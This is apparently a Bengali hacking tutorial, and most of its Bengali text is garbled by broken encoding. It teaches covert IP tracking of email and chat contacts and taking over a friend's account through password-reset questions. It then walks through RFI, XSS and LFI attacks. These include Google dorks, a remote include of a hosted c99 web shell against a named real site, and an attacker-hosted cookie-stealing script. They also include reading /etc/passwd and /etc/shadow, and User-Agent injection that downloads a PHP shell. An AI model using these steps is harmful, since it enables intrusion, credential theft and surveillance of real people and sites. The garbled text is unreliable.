অনায সভআরফকস খরন তায সথচছক সমচছকান একটি আচছভআর খরন Reply-সত কতিককরন এফায Show original এ কতিক করন এখন সম তথযগচছরা অচছফ সগচছরা খফবাচছরাবাচছফ সখযার করন সখাচছনআ অকতন যত আচছভআর দাতায অআকত সদখচছত াচছফন কতকনত gmail সথচছক মকতদ সকউ অনাচছক সভআর কচছয তাচছর এআ িকতত নাচছয অকতন অআকত খচছজ াচছফন না এখন উায যা যা কতসথয চছফন না একষকতন তা ফরকতছ
অচছর ভর ফযাাযটি চছে gmail ফভয https ফযফায কচছয অভযা াধাযনত চছযফাআচছটয এচছেচছ সদখচছত াআ http মায িণব র চছে Hyper Text Transfer Protocol অয https চছে এআ http এয secured র অা ককতয ফঝচছত সচছযচছছন মায কাযচছনআ কতজচছভআচছর অকতন অআকত খচছজ াচছফন না এখন সমআ িকততটিয কথা অনাচছদয ফরফ সটি চছে পরায ফ ধযচছনয আচছভআর এচছে (আযাহচছভআর কতজচছভআর এভএএন আতযাকতদ) সথচছক অআকত সফয কযায িকততপরথচছভআ httpreadnotifycom াআটটি খরন এযয এখাচছন সযকতজচছেন করনএখন অকতন মায আচছভআর এচছে ননধান কযচছত চান তায ফযাযফ একটি সভআর কতরখন এফায আচছভআর ট সকন একতযযায কতরখন
victimlsquosemailidrednotifycom াঠিচছয কতদন মখন স আচছভআরটি িচছফ তখন সবযংকতকরযবাচছফ অনায কতযডচছনাটিপাআ একাউচছনট তায অআকত চচছর অচছফ অচছর কতযডচছনাটিপাআ একটি সবযংকতকরয রকাচছনা ছকতফ অনায আচছভআচছরয াচছথ ঐ ফযাকতি ফযাফয াঠিচছয সদয মায পচছর অকতন তায অআকত সচছয মান িকততটি খফ কাচছজয
ঐ চছযফ াআড টি ছনদ না চছর গচছরা ফযফায কযচছফনঃ
httpwwwdidtheyreaditcom
httpwwwpointofmailcom
ফসথান ননধান অভযা সতা অআকত সরাভ এফায সদখফ কতকবাচছফ ঐ ফযাকতিয ফসথান িচছকব জানা মায থবাৎ ফযাকতিটি সকান সদচছয সকান চছয অচছছ তা জানাপরথচছভআ httpwwwip2locationcom াআটটি খরন এআ াআটটিয খাকতর ঘচছয অনায কাকতিত অআকত এচছেটি ফকতচছয কতদন অয ভজা সদখন
অকতন মায াচছথ চযাটিং কযচছছন তায ফসথান জানা
অকতন মায াচছথ চযাটিং কযচছছন তাচছক তায অআকত মবচছনধ কতজচছগয করন সফরচছর সতা ফরচছত চছফ অনায বাগয পরনন অয না ফরচছর কতক কযচছফন একট চছকষা করন ফরকতছ এখাচছন একটি ফযাায উচছেখ কযায ভত অয তা চছে অচছগ অভযা একটি কভাচছনডয াচছথ কতযকতচত চছযকতছরাভ netstat -n এয কথা ভচছন অচছছ যা এআকভানডটি খফআ গরতবণব অকতন আনটাযচছনচছট মতগচছরা কাচছনকচছনয াচছথ মি অচছছন ঠিক ততগচছরায তথযআ এআ কভানডটিয ভাধযচছভ াযা মাচছফ অচছযকট সবচছে ফরকতছ ধরন ভচছন করন অকতন সপফচছককতজচছভআচছর এফং সটকটিউনচছ একআ চছে পরচছফকচছয অচছছন উচছযয কভানডটি এআ কততনটি াবব ায িচছকব আ অনায কাচছছ তথযাপলাআ কযচছফ ফতব ভাচছন আনটাযচছনচছট এক এক ফযাকতি চযাটিং এয এক এক নথাফযফায কচছয সমভন ICQ Messenger
MSN Messenger Yahoo Messenger Gtalk Meebo Gigsby AIM আতযাকতদ তাচছর ফঝন কতটক ঝাচছভরায কাজ কযচছত মাচছেন অকতন অয এ কাযচছনআ কতনচছচ ধাচছ ধাচছ কচছযকটি সকষতর সদযা র রকষকরন
সকষতর-১ মকতদ অকতন ICQ Messenger এ চযাট কচছযন অয সখাচছনয কায ফসথান জানচছত চান তাচছর এ িকততটি কাচছজ রাগান ICQ Messenger এয কাজ কযায ধযন চছে (অকতন-gtঅনায ফনধ-gtঅকতন) এআবাচছফ তাআ কায অআকত ংগর কযাএচছকষচছতর খফ জ কাজ ভচছন করন অকতন কায অআকত জানচছত চাচছেন তাচছর তাচছক কতট করন কতকনত চযাটিং শর কযচছফন না এফায Start-gtRun-gtcmd-gtnetstat -nএনটায কতদন সম অআকতগচছরা অচছফ তা সকান যাপ কাগচছজ কতরচছখ যাখন এফায অকতন তায াচছথ চযাটিং অযমভ করন অফায Start-gtRun-gtcmd-
gtnetstat -nএনটায কতদন এফায অকতন সখাচছন নতনএকটি অআকত সদখচছত াচছফন অয এআ ফযাকতিয াচছথআঅকতন এখন চযাটিং এ ফযাসতএফায কতকবাচছফ তায ফসথান সফয কযচছফন তা কতনশচযআ অয ফচছর কতদচছত চছফ না
সকষতর-২
Yahoo Messenger MSN Messenger GTalk Messenger এয সকষচছতর উচছযাি সভচছনজাযগচছরায কাজ কযায ধযন চছে (অকতন-সভচছনজাচছযযাবব ায-অনায ফনধ) এআবাচছফ এখাচছন মকতদ অকতন সকষতর-১ এয িকতত কাচছজ রাগান তাচছর অকতন সভচছনজাচছযয অআকত াচছফন ফযাকতিয না এআচছকষচছতর অকতন চারাচছত াচছযন সাযার আকতনজকতনযাকতযং মকতদ এটা কতনচছয যফতী ধযাচছয অচছরাচনা চছফ তথাকত এখাচছন কতকছ কতযকতচকতত সদযা চছে সাযার আকতনজকতনযাকতযং চছে কাউচছক সফাকা ফাকতনচছয তাচছক যাকতকং কযা অয এআ সভচছনজাচছযয সকষচছতর (ভচছন যাখচছফন কতধকাং সভচছনজাযআ এআ কাজটি কচছয থাচছক) অকতন অনায াচছথ চযাটিংকত ফযাকতিটিচছক ফরন অনায কাচছছ সকান পাআর াঠাচছত ফা তাচছক অকতনকতকছ াঠাচছত াচছযন সটা চছত াচছয সকান ছকতফ ফা অনায ছকতফ মকতদ স যাকতজ য তাচছর সকষতর-১ এয িকতত চাকতরচছয মান মখন অকতন তায াচছথ চযাটিং কযচছফন তখন অকতন কততকতযি সম অআকত এচছেটি সদখচছত াচছফন সটি চছে সভচছনজাচছযযঅআকত অয মখন স অনায কাচছছ সকান কতকছ াঠাচছফ তখন অচছযকটি নতন অআকত সদখচছতাচছফন সটি চছে তায অআকত এছািা অয একটি উায অচছছ তা র অকতন তাচছক অনায কাচছছ একটি সভআর াঠাচছত ফরচছত াচছযন মখনআ স সভআর াঠাচছফ অকতন কতযডচছনাটিপাআ িকতত চাকতরচছয মান মা অচছগ ফরা চছযচছছ সকান পরশন
সকষতর-৩
Meebo Gigsby Trillion আতযাকতদ ভাকতি চযাটিং আকতনজচছনয সকষচছতর এচছকষচছতর সকান িকতত সনআ শধ এতটকআ কযা মায তা র অকতন ফরচছত াচছযন অনাচছক সভআর কযচছত অয অকতন কতযডচছনাটিপাআ িকতত চারাচছত াচছযন অচছর কায অআকত াযা সতভন কঠিন কাজ নয অয এটা সতভন ফি ধযচছনয কাজ নয অআকতএচছেচছয ফযাাচছয ফরচছত সগচছর চছনক কথা ফরচছত য অআকত এচছে যচছযচছছ কতফকতবনন ধযচছনয অফায সখাচছন াফচছনট অআকতড এফং সাে অআকতড নাভক ফযাায যচছযচছছ এছািা অকতন একটি চছযফাআট শধ অআকত এচছে কতরচছখআ পরচছফ কযচছত াচছযন মকতদ সখাচছন সকসা টরানসপায এফং সকাসটরা টরানসপায নাভক ব
কতরচছখচছছনঃ সভচছকতদ াান
সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং
অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
মখন সটকতরচছপান পরথভ অকতফষকত র তখন কতফচছশবয পরথভ যাকায সটকতরচছপাচছনয ফযফাযকতফকতধ খফবাচছরাবাচছফ মচছফকষবন কযর স সদখর সম মখন অভযা কাউচছক করচছদআ তখন এআকরটি পরথচছভ সটকতরচছপান কতপচছ মায চছয কাকতিত ফযাকতিটিয কাচছছ মায তখনযাকায কতকছ চকচছরট নতযী কচছয তায চছকচছট যাখর াচছথ যাখর একটি ফাকতস এআ ফরর সম চকচছরচছটয াচছথ এটা একটি কতগফট এফায ভানচছলযা এফং তাচছদয ফারচাযা ফাকতগচছরা িাযা য তরচছত রাগর মায পচছর কতি র একধযচছনয তযে মা সটকতরচছপান াবব াচছযয তযচছেয ভত এটাআ যফতীচছত যাকাযচছদয াযাকতফচছশব কতফনাভচছরয কর কযচছত াাময কযর
িণব পরকযাটি রকষ করন স শধ কতনচছজয কতচনতা কাচছজ রাগার এফংএকটি সছাটফাকত নতযী কযর তাচছর সদখন সাযার আকতনজকতনযাকতযং খফআগরতবনবঅকতন সকান কতকছচছক ফি কযচছত চছর সাযার আকতনজকতনযাকতযং এযাাময ফযাকতততমভফ নয
অনায ফনধয কব ট একাউনট যাকতকং কযচছতচাআচছর Forget password একতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐকর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযন সতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
মিািযা িআসজজসিোসরিংমের লসিলাী িিংজঞা
ভানলকতক বাচব যার জগচছত মাকতচত কাজ সমভন সকান কচছবাচছযট কতপচছয সনটযাচছকব পরচছফ তাচছদয নরাআন কতকতকউকতযটি পাযাযযার একাউনট আতযাকতদ কতনকতফিবাচছফ মচছফকষবন কচছয তাচছত অকরভন কযা এচছকষচছতর কতফকতবনন ধযচছনয পটযযাচছযয াাময সনযা মায ফা কতনচছজয ফানাচছনা সকান াডব যযায ফা সকাকতডং কাচছজ রাগাচছনা মায
ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK
HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি
ndashgtimpersonation
mdashgtposing as imp user
mdashgt3rd person approach
mdashgttechnical support
কসিউটার সভসিক মিািযা িআসজজসিোসরিং
কতনচছচয কচছযকটি বাচছগ কতফবি
ndashgtmailim attachments
ndashgtpop up windows
mdashgtsweepstakes
mdashgtspam mail
এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন
কতরচছখচছছনঃ সভচছকতদ াান
অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip
Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন
mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash
mdashmdashmdashmdashmdash
সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip
httpwwwtargetsitecomindexphppage=Anything
উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ
ldquoinurlindexphppage=rdquo
উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ
ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন
httpwwwtargetsitecomindexphppage=wwwgooglecom
এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip
httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom
তাচছর এটি সদখাচছফhellip
এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip
এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip
httph1ripwaycomtjunselectedc99shellphp
এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp
এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন
তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না
কতনফবাকতচতটিউনাযtrade
XSS কতক
XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web
Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয
ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600
xss-threat3jpg
XSS Vulnerability and Injection
যাপ ১ Vulnerable মেব িািআট োমজ মবর করা
অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks
ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=
তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন
যাপ ২ Vulnerability পরীো করা
এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন
না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password
Vulnerability যীকষা কযা জনয দটি িকতত অচছছ
পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয
http2bpblogspotcom-
8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg
পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here
যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন
এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-
পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন
সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=
এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable
যাপ ৩ Malicious Scripts মদো
Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ
এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ
httpattackerSitemaliciousjs
এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ
এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ
িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent
Persistent XSS
এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage
Non-Persistent XSS
এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily
একজি হযাকার এিআ Vulnerability সদমে সক কমর
কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা
চছযফ াআচছটয Bypassing restriction
Session Hijacking Malware Attack
Website Defacement Dos attacks
কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর
শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম
অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে
যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক
LFI
যাকাযচছদয
একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র
Local File Inclusionঅজ
অনাচছদয
াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য
পরথচছভ
কতনচছচয PHP সকাডগচছরা
সদখনhellip
$page=$_GET[page] include($page)
gt
উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক
কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ
wwwmywebsitecomindexphppage=productsphp
অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম
এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র
wwwmywebsitecomindexphppage=mypagephp
এখাচছন
সদচছখন mypagephp াতাটি
াবব াচছয
সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-
Warning
include() [functioninclude] Failed opening mypagephp for
inclusion
তাচছর
এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd
এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
এখন
অভযা পাআচছর
পরচছফ
কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip
wwwmywebsitecomindexphppage=products
এখাচছন
একটা কতজকতন রকষয করন সম
php এয
য page=products যচছযচছছ
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
